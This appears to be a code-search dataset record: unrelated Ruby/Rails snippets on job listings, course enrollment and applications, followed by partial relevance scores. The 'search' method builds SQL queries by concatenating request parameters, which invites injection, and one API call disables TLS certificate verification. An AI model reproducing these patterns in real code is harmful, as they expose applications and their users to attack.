"def pull_data\n\tmechanize = Mechanize.new\n\n\tpage = mechanize.get('http://workinstartups.com/job-board/jobs/interns/')\n\tpage.search(\"ul.job-list li\").each do |x|\n str = x.to_s\n job = Job.new\n\n job.company = str[/at\\s(.*?)\\sin/m, 1]\n job.url = URI.extract(str).first\n job.role = x.at_css('a').text\n\n job.save\n end\nend",
"def process_complaint_messages\n @messages.map! do |message|\n m = message['Message']\n details = {\n :complaint_detail => {\n :complaint_type => m['complaint'].fetch('complaintFeedbackType', 'N/A'),\n :complaint_date => m['complaint'].fetch('arrivalDate', 'N/A')\n }\n }\n Message.new(message['MessageId'], account_id, m['mail']['timestamp'], m['mail']['destination'][0], 'complaint', details)\n end\n end",
"def user_jobs\r\n @selected_user = User.find(params[:user])\r\n jobs = filter_user_jobs(params[:user], params[:hours])\r\n @job_pages, @jobs = paginate_collection jobs, :per_page => 50, :page => params[:page]\r\n end",
"def parse_job(listing)\n\n # binding.pry\n\n title = listing.search('a.dice-btn-link')[0].text\n @employer_name = listing.search('li.employer .dice-btn-link')[0].text\n location = listing.search('li.location').text\n \n job_link = listing.search('a.dice-btn-link')[0].attributes[\"href\"].value.to_s\n\n relative_date = listing.search('li.posted').text\n date = parse_absolute_date(relative_date)\n \n employer_id = job_link.split('/')[-2]\n job_id = job_link.split('/')[-1]\n\n [\n date,\n title,\n @employer_name,\n location,\n job_link,\n employer_id,\n job_id\n ].map! { |text| text.gsub(/\\s+/, ' ').strip }\n end",
"def load_jobs(jobs)\n j = 1\n jobs.each do |job|\n case j\n when 1\n self.job_cod_1 = job.code\n self.job_title_1 = job.title\n when 2\n self.job_cod_2 = job.code\n self.job_title_2 = job.title\n when 3\n self.job_cod_3 = job.code\n self.job_title_3 = job.title\n when 4\n self.job_cod_4 = job.code\n self.job_title_4 = job.title\n when 5\n self.job_cod_5 = job.code\n self.job_title_5 = job.title\n when 6\n self.job_cod_6 = job.code\n self.job_title_6 = job.title\n else\n #nothing\n end\n j += 1\n end\n end",
"def active_job_candidate_list\n @job_candidates = JobCandidate.active_job_candidate_list(current_candidate)\n end",
"def index\n jobs = current_user.hr.jobs\n @applications = Array.new\n jobs.each do |job|\n job_faculties_map = Hash.new\n job_faculties_map[job] = Array.new\n if job.faculties.length > 0\n job.faculties.each do |faculty|\n job_faculties_map[job] << faculty\n end\n @applications << job_faculties_map\n end\n end\n @applications\n end",
"def jobs\n\t\t# ...\n\tend",
"def jobs\r\n end",
"def index\n @courses = current_teacher.courses.all.to_a + Course.find(current_teacher.jobs.pluck(:course_id).uniq)\n @course = current_teacher.courses.new\n end",
"def available_jobs\n @jobs = Job.all.select { |j| !j.agents.include?(current_user) && j.start_date >= Date.today }\n end",
"def check_multiple_courses\n \n end",
"def show_courses_on_waitlist\n Waitlist.where(student: self).order(:course_id).map(&:student)\n end",
"def get_jobs(url)\n result = JSON.parse(get_data(url))\n job_list = []\n result[\"jobs\"].each do |job|\n job = JenkinsJob.new job[\"name\"], job[\"color\"], job[\"url\"]\n job_list << job\n end\n job_list\nend",
"def index\n @applied_jobs = current_user.applied_jobs #AppliedJob.all\n end",
"def jobs\n\t\t@jobs = Job.where(user_id: @company.user_id)\n\t\trespond_to do |format|\n\t\t\tformat.js\n\t\tend\n\tend",
"def index\n @job_ids = Mugen::Jobs.all\n if @job_ids\n @jobs = @job_ids.collect {|j| \n Mugen::Job.find(j['job_id']).merge('comments' => Mugen::Job.comments(j['job_id']))\n }\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @jobs }\n end\n else\n redirect_to mygengo_account_index_path\n end \n end",
"def list_jobs\n jobs = if unsafe_params[:editable]\n Job.editable_by(@context).accessible_by_private\n else\n Job.accessible_by(@context)\n end\n\n if unsafe_params[:scopes].present?\n check_scope!\n jobs = jobs.where(scope: unsafe_params[:scopes])\n end\n\n if unsafe_params[:space_uid].present?\n jobs = jobs.terminal\n end\n\n result = jobs.eager_load(user: :org).order(id: :desc).map do |job|\n describe_for_api(job, unsafe_params[:describe])\n end\n\n render json: result\n end",
"def get_jobs_by_client_id(client_id)\n jobs = []\n for job in get_data(\"jobs\")\n if client_id == job[\"client_id\"]\n jobs.push(job)\n end\n end\n\n return jobs\n end",
"def jobs\r\n @parser.jobs\r\n end",
"def all_jobs\n\n find_jobs()\n end",
"def job_appointments\n warn \"DEPRECATED: LDAP no longer contains job appointment data - you now need to go through HCM. This method will always return an empty Array\"\n []\n end",
"def available_jobs\n active_jobs + eligible_jobs\n end",
"def index\n @parsed_auctions = ParsedAuction.find(:all, :conditions => [\"user_id = ?\", current_user[:id]], :order => \"item_name\")\n @parsed_auction = ParsedAuction.new\n @jobs_in_queue = ParseQueue.count(:id)\n end",
"def index\n @jobs = Job.all\n if current_role == :admin\n @applications = Application.all\n elsif current_role == :recruiter\n @applications = Application.all.select{|n| @jobs.exists?(n.job_id) && @jobs.find(n.job_id).company_id == current_user.company_id}\n else\n @applications = Application.all.select{|n| n.user_id==current_user.id}\n end\n end",
"def index\n \n @meeting_threads = @current_user.available_jobs\n \n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @meeting_threads }\n end\n end",
"def index\n @user=current_user\n @jobapplications = @user.jobapplications\n end",
"def set_waitlist\n @course = Course.find(params[:id])\n end",
"def index\n @job_applications = @job_applications_active\n end",
"def list_courses(courses_collection)\n courses_collection.each do |course|\n\n end\n end",
"def jobs_for_educator(educator)\n jobs = []\n authorizer = Authorizer.new(educator)\n School.all.each do |school|\n # Skip if they're not authorized for the school\n next unless authorizer.is_authorized_for_school?(school)\n\n # Skip if they're not authorized for any students within that school\n authorized_students = authorizer.authorized { school.students.active.to_a }\n next unless authorized_students.size > 0\n\n # Add a job for students that we need to compute for them within that school\n jobs << { authorized_student_ids: authorized_students.map(&:id) }\n end\n jobs\n end",
"def search(*args)\n\t\t\targs = args[0] if args.is_a?(Array) && args.count == 1\n\n\t \tcb_response = self.api_get(Cb.configuration.uri_job_search, :query => args)\n\t \tjson_hash = JSON.parse(cb_response.response.body)\n\n\t \tpopulate_from json_hash, \"ResponseJobSearch\"\n\n\t \tjobs = []\n\t \tjson_hash[\"ResponseJobSearch\"][\"Results\"][\"JobSearchResult\"].each do |cur_job|\n\t \t\tjobs << CbJob.new(cur_job)\n\t \tend\n\n\t \treturn jobs\n\t\tend",
"def active_jobs\n result = Array.new\n self.jobs.each do |j|\n if j.private?\n result << j\n elsif j.active?\n result << j\n end\n end\n result\n end",
"def job_items\n job_arguments(1)\n end",
"def conversation_courses(conversation, structure)\n courses = structure.courses.with_deleted.find(conversation.mailboxer_course_ids.split(',')) if conversation.mailboxer_course_ids.present?\n end",
"def parse_raw_data(result)\n jobs = Array.new\n return jobs if result[:jobs].to_s.empty?\n result[:jobs][:items].each do |offer|\n job = Hash.new\n job[:jobtitle] = offer[:title]\n job[:location] = \"#{offer[:location][:country]}, #{offer[:location][:city]}\"\n job[:company] = offer[:company][:name]\n job[:date] = convert_date_to_format(offer[:published_at], '%d/%m/%y')\n job[:url] = offer[:links][:xing]\n job = convert_empty_to_nil(job)\n jobs << OpenStruct.new(job)\n end\n return jobs\n end",
"def index\n $lmc_left_menu = \"lmw_all_jobs\"\n $lmc_subleft_menu = \"lmw_job_applications\"\n @user = current_user\n @job_applications_ids = current_user.job_applications.pluck(:job_id)\n @job_applications = Job.where(id: @job_applications_ids).text_search(params[:query], params[:town], params[:status])\n end",
"def search \n\t@courseCandidateArray = []\n\t# find all sections of the course given. Group sections which are split into few (if they have more than one instructor or more than 1 class time given, like lab and lecture different) together\n\t@arrayOfCourses = Course.where(\"course_number = '\" + params[:searchCourse] + \"'\").group(:section_number)\n\t@arrayOfCourses.each{|currentCourse|\n\t\t# create multisection variable, which will account for sections split as above\n\t\t@multiSection = Course.where(\"course_number = '\" + currentCourse[:course_number].to_s + \"' AND section_number = '\" + currentCourse[:section_number].to_s + \"'\")\n\t\t# find all students who applied for the course, then filter only those who fit section times\n\t\t@applicantsFit = Application.where(\"course_number LIKE '%\" + currentCourse[:course_number].to_s + \"%'\")\n\t\t@applicantsFit = @applicantsFit.reject{|applicant|\n\t\t\t@ans = false\n\t\t\t@multiSection.each { |current|\n\t\t\t\t@ans = @ans || scheduleConflict(current, applicant)\n \t\t\t}\n \t\t\t@ans\n\t\t}\n\t# remove current TA from the list (if any) because he is handled separately\n\t@courseToUpd = TeachingAssistant.where(\"course_number LIKE \" + currentCourse[:course_number].to_s + \" AND section_number LIKE \" + currentCourse[:section_number].to_s)\n\tif (@courseToUpd.length > 0)\n\t\t@applicantsFit = @applicantsFit.reject{|applicant| applicant[:user_id] == @courseToUpd[0][:user_id] }\n\n\tend\n\t# sort, so that students with recommendations come first\n\t@applicantsFit = @applicantsFit.sort_by{|a| \n\t\t@b = User.where(\"id = '\" + a[:user_id].to_s + \"'\")\n\t\thasRecommendation(currentCourse[:course_number], @b[0][:fname], @b[0][:lname]) ? 0:1}\n\t@courseCandidateArray.append([@applicantsFit, currentCourse])}\nend",
"def index\n @applicant_jobs = ApplicantJob.all\n end",
"def process_courses(user)\n # A user can manage a CourseOffering if they are enrolled in that\n # offering and have a CourseRole where can_manage_course? is true.\n\n can :read, CourseOffering do |offering|\n user.course_offerings.include?(offering)\n end\n\n can :manage, CourseOffering do |offering|\n user.managing_course_offerings.include?(offering)\n end\n\n # Likewise, a user can only manage enrollments in a CourseOffering\n # that they have can_manage_courses? permission in.\n can :manage, CourseEnrollment do |enrollment|\n user_enrollment = CourseEnrollment.where(\n user_id: user.id,\n course_offering_id: enrollment.course_offering.id).first\n\n user_enrollment && user_enrollment.course_role.can_manage_course?\n end\n end",
"def list_courses \r\n courses = Subject.find(params[:s]).courses rescue render_return\r\n render_return if courses.empty? or !logged_in_user.see_course?(courses.first)\r\n render_p 'course_display/list_courses',{'courses'=>courses,'caller'=>params[:caller]}\r\n end",
"def index\n if current_user.role == 'employee'\n @job_applications_made = current_user.employee.job_applications\n else\n @job_applications = JobApplication.all\n end\n end",
"def index\n if current_user.admin?\n @job_applications = JobApplication.all\n else\n @job_applications = JobApplication.where(job: Job.where(user: current_user.company.users))\n end\n @job_applications = @job_applications.where(status: params[:status]) if params[:status].present?\n @job_applications = @job_applications.where(response_status: params[:response_status]) if params[:response_status].present?\n @job_applications = @job_applications.where(job: Job.find(params[:job])) if params[:job].present?\n end",
"def withdrawn_job_candidates\n authorize(JobCandidate.new)\n if active_job_candidate_list.present?\n @withdrawn_job_candidates = active_job_candidate_list.includes(:job)\n .where(status: JobCandidate.statuses[\"withdrawn\"])\n .page(params[:page])\n end\n end",
"def process_course_results(meet_id,course)\n runner_entry = Struct.new(:runner_id, :runner_time, :result_id)\n runner_times = []\n score_list = []\n results = get_course_results(meet_id,course)\n results.each do |result|\n # if valid result\n if result.classifier == 0\n runner_gv = get_runner_gv(result,course,meet_id)\n score_list << (result.float_time * runner_gv)\n runner_times << runner_entry.new(result.runner_id, result.float_time, result.id)\n end\n end\n # return 0 if score_list.size < 3\n course_cgv = get_harmonic_mean(score_list)\n delta = update_meet_course_results(meet_id, results, course_cgv, course, runner_times)\n end",
"def index\n @candidate_form = RegisterCandidateForm.new\n @jobs = Job.order(created_at: :desc)\n\n is_contract_type = false\n is_contract_type = true if params[:job_type] == Job.job_types[:contract].to_s\n rate = params[:salary_range]\n rate = params[:rate_range] if is_contract_type\n filter_by_rate(rate, is_contract_type)\n filter_jobs\n end",
"def list_jobs(username, password, uuid = nil)\n jobs = get_json('jobs.json', username, password)\n puts \"\"\n jobs[\"jobs\"].each do |job|\n next if uuid && job['uuid'] != uuid\n if job['jobURL']\n job.merge!(get_json(job['jobURL'], username, password, ''))\n end\n puts summarise_job(job, 2)\n puts \"\"\n end\n del = jobs['delivered']\n puts \"#{del['jobCount']} jobs, #{del['activityCount']} activities delivered since #{del['since']}\"\nend",
"def course_schedule(course_list)\n # YOUR WORK HERE\nend",
"def jobs\n self.ListJobs.first.map { |j| map_job(j) }\n end",
"def available_jobs\n details.at('#filmography').css(\"div[data-category$='Movie']\").map{ |job| job['data-category'].gsub('Movie', '') }\n end",
"def synthesis\n 0.upto(14) do |index|\n #@joblist.each do |joblink|\n jobhash = {}\n if @joblist[index] != nil\n job = @joblist[index].click\n title = job.parser.css(\"title\").text\n jobhash[:jobTitle] = job.parser.css(\"h1[class = 'jobTitle']\").text\n jobhash[:companyName] = job.parser.css(\"li a[class = 'dice-btn-link']\").text\n jobhash[:jobLink] = job.parser.css(\"link[rel = 'canonical']\").attribute('href').value\n jobhash[:location] = job.parser.css(\"li[class = 'location']\").text\n jobhash[:date] = title.match(/- (\\d+.+)\\|/).captures.sample\n @jobdb << jobhash\n @employers << jobhash[:companyName] unless @employers.include? jobhash[:companyName]\n end\n end\n end",
"def index #method for index.html.erb\n @jobs = Job.all#fetch all jobs from controllers/jobs.rb\n #@jobs = Job.where :approve => true#fetch jobs that the admin approved from controllers/jobs.rb\n end",
"def index\n @jobs = Job.all\n @this_user = Jobseeker.find(session[:user_id])\n @category = Category.all\n @tags = Tag.all\n @employer = Employer.all\n @titles_true = @desc_true = @emp_true = @cat_true = @tags_true = true\n @jobapplications = Jobapplication.where(jobseeker_id: session[:user_id])\n end",
"def process_project_items(course_id, year_id)\n\t\t@woc_workers << Thread.new do\n\t\t\twoc_worker = WocWorker.new(CONFIG['url'])\n\t\t\twoc_worker.login!(CONFIG['username'], CONFIG['password'])\n\t\t\titems = woc_worker.get_projects_list(course_id, year_id)\n\t\t\t@woc_mutex.synchronize {\n\t\t\t\t@woc_items += items\n\t\t\t}\n\t\t\t@producers_mutex.synchronize {\n\t\t\t\t@missing_producers -= 1\n\t\t\t\t@producers_cv.signal\n\t\t\t}\n\t\tend\n\tend",
"def infer_courses_from_user\n return [] if user.blank?\n user.courses.where('start <= ?', date).where('end >= ?', date)\n end",
"def render_jobs_list(jobs)\n workflow_with_jobs = []\n workflow_batch = {}\n\n jobs.each do |job|\n analysis = job&.analysis\n job.current_user = current_user\n workflow = analysis&.workflow\n slot = workflow_with_jobs.last\n\n if slot.nil? || slot[:analysis_dxid] != analysis&.dxid ||\n slot[:workflow]&.dxid != workflow&.dxid\n workflow_with_jobs << { analysis_dxid: analysis&.dxid,\n batch_id: analysis&.batch_id,\n workflow: workflow, jobs: [job] }\n fill_batch_with_workflows(workflow_batch, workflow, analysis)\n else\n slot[:jobs] << job\n end\n end\n\n workflow_with_jobs.map! do |slot|\n if slot[:workflow].nil?\n slot[:jobs].map do |job|\n job_serialized = JobSerializer.new(job)\n job_serialized.launched_on = job.analysis&.created_at || job.created_at\n job_serialized\n end\n else\n slot[:workflow].current_user = current_user\n\n workflow_serialized = WorkflowSerializer.new(slot[:workflow])\n number_workflows_in_batch(workflow_batch[slot[:batch_id]],\n workflow_serialized, slot[:analysis_dxid])\n workflow_serialized.jobs = slot[:jobs].map do |job|\n job_serialized = JobSerializer.new(job)\n\n launched_on = job.analysis&.created_at || job.created_at\n job_serialized.launched_on = launched_on\n if workflow_serialized.launched_on.nil? ||\n launched_on < workflow_serialized.launched_on\n workflow_serialized.launched_on = launched_on\n end\n\n job_serialized\n end\n\n workflow_serialized.launched_on ||= Time.current\n workflow_serialized\n end\n end.flatten!\n\n page_array = paginate_array(sort_array_by_fields(workflow_with_jobs))\n page_meta = pagination_meta(workflow_with_jobs.count)\n page_meta[:count] = page_meta.dig(:pagination, :total_count)\n\n render json: { jobs: page_array, meta: page_meta }, adapter: :json\n end",
"def available_agents\n @job = Job.find(params[:id])\n @jhooks = Jhook.where(job_id: @job.id)\n end",
"def index\n @job_requests = JobRequest.all\n end",
"def job_status_invoices_submitted\n # self.confirmed_interpreters.each do |confirmed_interpreter|\n # self.complete_job(confirmed_interpreter)\n # self.confirmed_interpreters.delete(confirmed_interpreter)\n # end\n \n update_attribute(:invoice_submitted, true)\n update_attribute(:invoice_submitted_at, Time.zone.now)\n \n @interpreter_invoices = self.interpreter_invoices\n @interpreter_invoices.each do |interpreter_invoice|\n interpreter_invoice.job_complete\n end\n end",
"def index\n @jobs = Job.by_company_id(current_user.company_id).published_and_closed_jobs\n @applicants = Applicant.total_applicant(current_user.company.id, @jobs) \n @schedules = current_user.get_schedules\n end",
"def index\n @job_roles = JobRole.all\n end",
"def index\n #@jobs = Job.all\n smart_listing_create :jobs, current_user.employer.jobs, partial: \"partials/bidding_job_listing\"\n end",
"def index\n if params[:my_job] == 'all jobs'\n @jobs = search_by_session(current_login.jobs.search(params[:search])).order(\"created_at desc\").paginate(:per_page => 10, :page => params[:page])\n elsif params[:my_job]== 'unassigned jobs'\n @jobs = search_by_session(current_login.jobs.search(params[:search]).where(:assigned_to => \"NULL\")).paginate(:per_page => 10, :page => params[:page])\n elsif params[:my_job] == 'my jobs'\n @jobs = search_by_session(current_login.jobs.search(params[:search]).where(\"status='open' AND assigned_to != 'NULL'\")).paginate(:per_page => 10, :page => params[:page])\n elsif params[:my_job] == 'closed jobs'\n @jobs = search_by_session(current_login.jobs.search(params[:search]).where(:status => \"closed\")).paginate(:per_page => 10, :page => params[:page])\n else\n @jobs = search_by_session(current_login.jobs.search(params[:search])).order(\"created_at desc\").paginate(:per_page => 10, :page => params[:page])\n end\n\n respond_to do |format|\n format.xml {render :xml => @jobs}\n format.json {render :json => @jobs}\n end\n end",
"def jobs(&block)\n @jobs_array = (@jobs_array || []) << block\n end",
"def get_jobs(from, to)\n\n job_info = get_job_info(from)\n total_page = job_info[:x_total_pages].to_i\n new_to = (to == nil || to < total_page) ? to : total_page\n puts \">> total page : \" + total_page.to_s\n\n jobs = []\n (from..new_to).each do |page|\n job_api = \"#{BASE_URL}/v4/projects/#{PROJECT_ID}/jobs?page=#{page}&per_page=#{PER_PAGE}\"\n puts \">>start:page:\" + page.to_s\n\n begin\n response = RestClient::Request.new(\n :method => :get,\n :url => job_api,\n :verify_ssl => false,\n :headers => {\"PRIVATE-TOKEN\" => API_TOKEN}\n ).execute\n\n if response != nil && response.code == 200\n res = JSON.parse(response.to_str)\n jobs += res\n end\n\n rescue RestClient::ExceptionWithResponse => err\n puts \"jobs error: #{err.response}\"\n end\n end\n\n jobs\nend",
"def index\n @job_applications = JobApplication.for_status params[:status_type]\n end",
"def filtered_list\n if !(current_user.belongs_to_common_pool || current_user.belongs_to_back_office)\n @lawfirms = []\n company_ids = @assigned_lawfirm_users.map(&:company_id).uniq\n @lawfirms = Company.find(company_ids)\n @lawyers = (params[:search].present? && params[:search][:company_id].present?) ? get_company_lawyers(current_user,params[:search][:company_id],\"user_tasks\") : @assigned_lawfirm_users\n else\n filtered_list_for_cp_or_bo\n end\n end",
"def list\n #no objects of class (as compared to previous lab)\n #no array!\n @courses = Course.where(\"instructor='John'\")\n end",
"def scrape\n Job.reset\n puts 'Enter a URL to scrape (or press enter for default):'\n url = gets.strip\n url = 'https://news.ycombinator.com/item?id=16052538' if url == ''\n puts \"Scraping...\\n\\n\"\n jobs_data = Scraper.scrape(url)\n jobs_data.each_with_index do |job_data, i|\n job = Job.new(job_data.merge({id: i+1}))\n end\n puts list\n end",
"def index\n \t@jobs = Job.all\n \t# if i wanted to find all of my jobs\n \t# @jobs = current_user.jobs.all\n end",
"def everybody\n jobs = Job.\n accessible_by_public.\n eager_load(:app, user: :org, analysis: :workflow).\n includes(:taggings).\n search_by_tags(params.dig(:filters, :tags)).\n order(ORDER_GROUP_FIELDS)\n jobs = JobService::JobsFilter.call(jobs, params[:filters])\n\n render_jobs_list(jobs)\n end",
"def index\n @alluserjobs = Userjob.all\n @alljobs = Job.all\n\n end",
"def scraper\n\turl = \"https://www.indeed.com/jobs?q=Ruby%20on%20Rails&l&vjk=ac03f2f61f05d2b8\"\n\tunparsed_page = HTTParty.get(url) if url\n\n\tparsed_page = Nokogiri::HTML(unparsed_page.body)\n\tjobs = Array.new\n\tjob_listings = parsed_page.css('td.resultContent')\n\t\n\t# starting page\n\tpage = 1\n\t# Get # of listings per page\n\tper_page =job_listings.size\n\t# Get total listings. \tsuper fragile clean up of the total\n\ttotalListings = parsed_page.css('div#searchCountPages').text.split(' ')[3].gsub(',','').to_i\n\tlast_page = (totalListings.to_f / per_page).round\n\n\t# Loop through pages see https://www.youtube.com/watch?v=b3CLEUBdWwQ&t=385s 26:30\n\tjob_listings.each do |job_listing|\n\t\tjob = {\n\t\t\ttitle: job_listing.css('div.singleLineTitle').text,\n\t\t\tcompany: job_listing.css('span.companyName').text,\n\t\t\tlocation: job_listing.css('div.companyLocation').text,\n\t\t\trating: job_listing.css('span.ratingsDisplay').text,\n\t\t\tsalary: job_listing.css('.salary-snippet-container').text\n\t\t}\n\t\tjobs << job\n\tend\n\tbyebug\nend",
"def index\n\t@jobs = (@user.username == \"Admin\")? Job.all : @user.jobs\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @jobs }\n end\n end",
"def current_course\n\n @user = current_user\n @courses = []\n \n if @user.parent or @user.student\n @student = Student.find(:all,\n #:select => \"\",\n :joins => \"inner join batches b on students.batch_id = b.id \",\n :conditions => \"b.is_active = true and b.is_deleted = false \"+\n \"and students.is_active = true and students.is_deleted = false \"+\n \"and students.user_id = \"+@user.id.to_s+\"\"\n ).first\n\n if !@student.nil?\n @courses = Course.find(:all,\n :conditions => \"is_deleted = false \"+\n \"and id in ( \"+ @student['batch_id'].to_s + \")\"\n )\n end\n end\n @courses\n end",
"def completed_jobs\n @completed_jobs = Job.where(status: 'done').order(:deadline).paginate(page: params[:page], per_page: 15)\n end",
"def index\n @job_applications = JobApplication.all\n end",
"def index\n case current_user.role\n when 'admin'\n @jobs = Job.order(:start_date).select { |j| j.start_date >= Date.today }\n when 'agent'\n @jobs = Job.order(:start_date).select { |j| !j.agents.include?(current_agent) && j.start_date >= Date.today }\n end \n end",
"def assign_multiple_notes_form\n @note_ids = params[:note_ids].split(',')\n @notes=[]\n for note_id in @note_ids\n @notes << Communication.find(note_id)\n end\n @common_clusters = notes_tasks_common_clusters(@notes)\n @valid = !@common_clusters.blank? && !@common_clusters.class.eql?(String)\n if @valid\n livian_users = User.all_cluster_livian(@common_clusters)\n @livian_users = livian_users.blank? ? \"\" : livian_users.collect{|user|[user.full_name,user.id]}\n end\n render :layout => false\n end",
"def get_monitors\n return @jobs\n end",
"def jobs\n doc = Nokogiri::XML open(@url)\n\n doc.search('//job').map { |node|\n Job.new(attributes_from(node))\n }\n end",
"def course_selected\n courses = params['courses']\n employee = current_user.role\n courses.each do |course|\n Choice.create(employee_id: employee.id, course_id: course, state: 0)\n end\n redirect_to users_me_path\n end",
"def filtere_list_for_cp_or_bo\n @lawyers,@lawfirms=[],[]\n if is_secretary?\n created_by_user_ids=@assigned_lawfirm_users.map(&:id)\n created_by_user_ids << current_user.id\n notes = Communication.notes_for_secretary(created_by_user_ids,current_user.id)\n else\n livian_ids = @cluster_livian_users.map(&:id)\n livian_ids = [0] if livian_ids.blank?\n lawyer_ids = @assigned_lawfirm_users.map(&:id)\n lawyer_ids = [0] if lawyer_ids.blank?\n notes = Communication.notes_for_manager(lawyer_ids,livian_ids)\n end\n company_ids = notes.map(&:company_id).uniq\n @lawfirms = Company.find(company_ids)\n if params[:search].present? && params[:search][:company_id].present?\n @lawyers = get_company_lawyers(current_user,params[:search][:company_id],\"communications\")\n else\n user_ids = notes.map(&:assigned_by_employee_user_id).uniq\n @lawyers = User.find(user_ids)\n end\n \n if is_team_manager\n @logged_by_users = [[\"----livians----\",\"\"]]\n @logged_by_users += @cluster_livian_users.collect{|livian|[livian.full_name,livian.id]}\n @logged_by_users << [\"----lawyers----\",\"\"]\n @logged_by_users += @lawyers.collect{|lowyer|[lowyer.full_name,lowyer.id]}\n end\n end",
"def create_job_hash\n input_feed = Feedjira::Feed.fetch_and_parse('https://www.jobsatosu.com/all_jobs.atom ')\n feed_entries = input_feed.entries\n @jobs = Hash.new\n feed_entries.each do |fe|\n discription = ActionView::Base.full_sanitizer.sanitize(fe.content)\n if discription.length > 500\n short_discription = discription[0..500]+\"...\"\n else\n short_discription = discription\n end\n link = fe.links[0]\n @jobs[fe.entry_id] = \n {published: fe.published,\n updated: fe.updated,\n url: fe.url,\n links: link,\n title: fe.title,\n content: short_discription,\n full_content: discription,\n department: fe.author} \n end\n @jobs\n end",
"def waitlist_update(candidate_data)\n candidate_data.each do |element|\n events_candidates << element\n element.allot_batch!\n element.save\n end\n end",
"def index\n # Fetches space jobs.\n if params[:space_id]\n jobs = []\n if find_user_space\n jobs = @space.jobs.\n eager_load(:app, user: :org, analysis: :workflow).\n includes(:taggings).\n search_by_tags(params.dig(:filters, :tags)).\n order(order_from_params).page(page_from_params).per(PAGE_SIZE)\n jobs.each { |job| job.current_user = @context.user }\n\n jobs = JobService::JobsFilter.call(jobs, params[:filters])\n\n sync_jobs(jobs)\n end\n\n page_dict = pagination_dict(jobs)\n\n render json: jobs, root: \"jobs\", meta: count(page_dict[:total_count]).\n merge({ pagination: page_dict }), adapter: :json\n else\n # Fetches all user 'private' jobs.\n jobs = Job.\n editable_by(@context).\n accessible_by_private.\n eager_load(:app, user: :org, analysis: :workflow).\n includes(:taggings).\n search_by_tags(params.dig(:filters, :tags)).\n order(ORDER_GROUP_FIELDS)\n jobs = JobService::JobsFilter.call(jobs, params[:filters])\n\n render_jobs_list(jobs)\n end\n end",
"def jobs\n return nil unless @rufus\n return @saved_job_list if !running\n\n @rufus.jobs.collect do |job|\n {\n :job => job,\n :job_spec_id => job.handler.job_spec_id,\n :job_spec_name => job.handler.job_spec_name,\n :launched_job => job.handler.launched_job,\n :running => job.running?,\n :last_time => job.last_time,\n :next_time => job.next_time,\n :opts => job.opts,\n :scheduled_at => job.scheduled_at,\n :unscheduled_at => job.unscheduled_at,\n :id => job.id,\n :tags => job.tags,\n :last_work_time => job.last_work_time,\n :mean_work_time => job.mean_work_time\n }\n end\n end",
"def getJobIDs(jobsinfo_xml)\n jobs = {}\n doc = Nokogiri::XML(jobsinfo_xml)\n doc.css('//job').each do |job|\n job_id = job.at_css('@id').content\n job_name = job.at_css('/name').content\n jobs.store(job_id,job_name)\nend\n return jobs\nend",
"def new\n @jobs = Job.new(params[:accepted_jobs])\n\n @jobs.user_id = current_user.id\n\n pp @jobs\n\n # respond_to do |format|\n # if @jobs.save\n # format.html { redirect_to home_path, notice: 'Request was successfully created.' }\n # format.json { render json: @jobs, status: :created, location: home_path }\n # else\n # format.html { render action: \"new\" }\n # format.json { render json: @jobs.errors, status: :unprocessable_entity }\n # end\n # end\n end",
"def parse_job_string job_list_string\n\t\t\t# split input lines\n\t\t\tarr = job_list_string.split(/\\r?\\n/)\n\t\t\t# strip all whitespace from lines\n\t\t\tarr.map! {|l| l.gsub(/\\s+/, '') }\n\t\t\t# strip pointers from lines\n\t\t\tarr.map! {|l| l.gsub(/=>/, '') }\n\t\t\t# get rid of empty lines\n\t\t\tarr.reject!(&:empty?)\n\t\t\tarr\n\t\tend",
"def display_jobs(jobs)\n\n clear_screen\n\n @last_results = jobs\n\n choices = []\n choices << {name: 'Return to Menu'.colorize(:magenta), value: 'menu'}\n choices << {name: 'Exit'.colorize(:red), value: 'exit'}\n\n choices += jobs.map.with_index(1) {|job, idx| {name: \"#{job.job_summary}\".colorize(:light_blue), value: idx} }\n jobSelection = prompt.select(\"Select a job posting (use the left and right arrows to navigate pages)\\n#{'_'*(@screen_size-1)} \".colorize(:white), choices, per_page: 35)\n\n if jobSelection == \"exit\"\n farewell_message\n exit\n elsif jobSelection == \"menu\"\n job = \"menu\"\n else\n job = jobs.find.with_index {|job, idx| jobSelection == idx }\n end\n\n\n return job\n end",
"def process_courses(user)\n if !user.global_role.can_edit_system_configuration? &&\n !user.global_role.can_manage_all_courses?\n\n # Everyone can manage their own course enrollments\n can :manage, CourseEnrollment, user_id: user.id\n\n can :enroll, CourseOffering, self_enrollment_allowed: true\n\n can :unenroll, CourseOffering\n\n # A user can manage a CourseOffering if they are enrolled in that\n # offering and have a CourseRole where can_manage_course? is true.\n can [:edit, :update], CourseOffering,\n CourseOffering.managed_by_user(user) do |co|\n co.is_manager? user\n end\n\n # A user can grade a CourseOffering if they are enrolled in that\n # offering and have a CourseRole where can_grade_submissions? is true.\n can :generate_gradebook, CourseOffering do |co|\n co.is_staff? user\n end\n\n # Likewise, a user can only manage enrollments in a CourseOffering\n # that they have can_manage_courses? permission in.\n can :manage, CourseEnrollment do |enrollment|\n enrollment.course_offering.is_manager? user\n end\n end\n end",
"def listjobs(project=self.project)\n get('listjobs.json', project: project).reject{|k,v| k=='status'}\n end",
"def show\n @job = Job.find(params[:id])\n # Find and show users that applied for that job\n @job_user_records = JobUser.where(job_id: params[:id])\n end",
"def index\n if current_user.job==\"申请人员\"\n @apply_records = ApplyRecord.where(:user=>current_user.username)\n elsif current_user.job==\"鉴别业务人员\"\n @apply_records=ApplyRecord.where( :state => \"申请复核通过\")\n elsif current_user.job==\"鉴别复核人员\"\n @apply_records=ApplyRecord.where( :state => \"鉴定通过\")\n elsif current_user.job==\"证书草拟人员\"\n @apply_records=ApplyRecord.where( :state => \"鉴定复核通过\")\n elsif current_user.job==\"证书颁发人员\"\n @apply_records=ApplyRecord.where( :state => \"证书草拟完成\")\n elsif current_user.job==\"证书绑定人员\"\n @apply_records=ApplyRecord.where( :state => \"证书颁发完成\")\n else\n @apply_records=ApplyRecord.all\n end\n end",
"def index\n do_authorize_class(:index, AnalysisJobsItem)\n do_get_opts\n\n do_get_analysis_job\n @analysis_jobs_items, opts = Settings.api_response.response_advanced(\n api_filter_params,\n get_query,\n AnalysisJobsItem,\n AnalysisJobsItem.filter_settings(@is_system_job)\n )\n\n show_items_as_results(request.head?, @analysis_jobs_items, opts)\n end"
] |
[
"0.61990225",
"0.6037884",
"0.5983487",
"0.5902812",
"0.5829344",
"0.57987195",
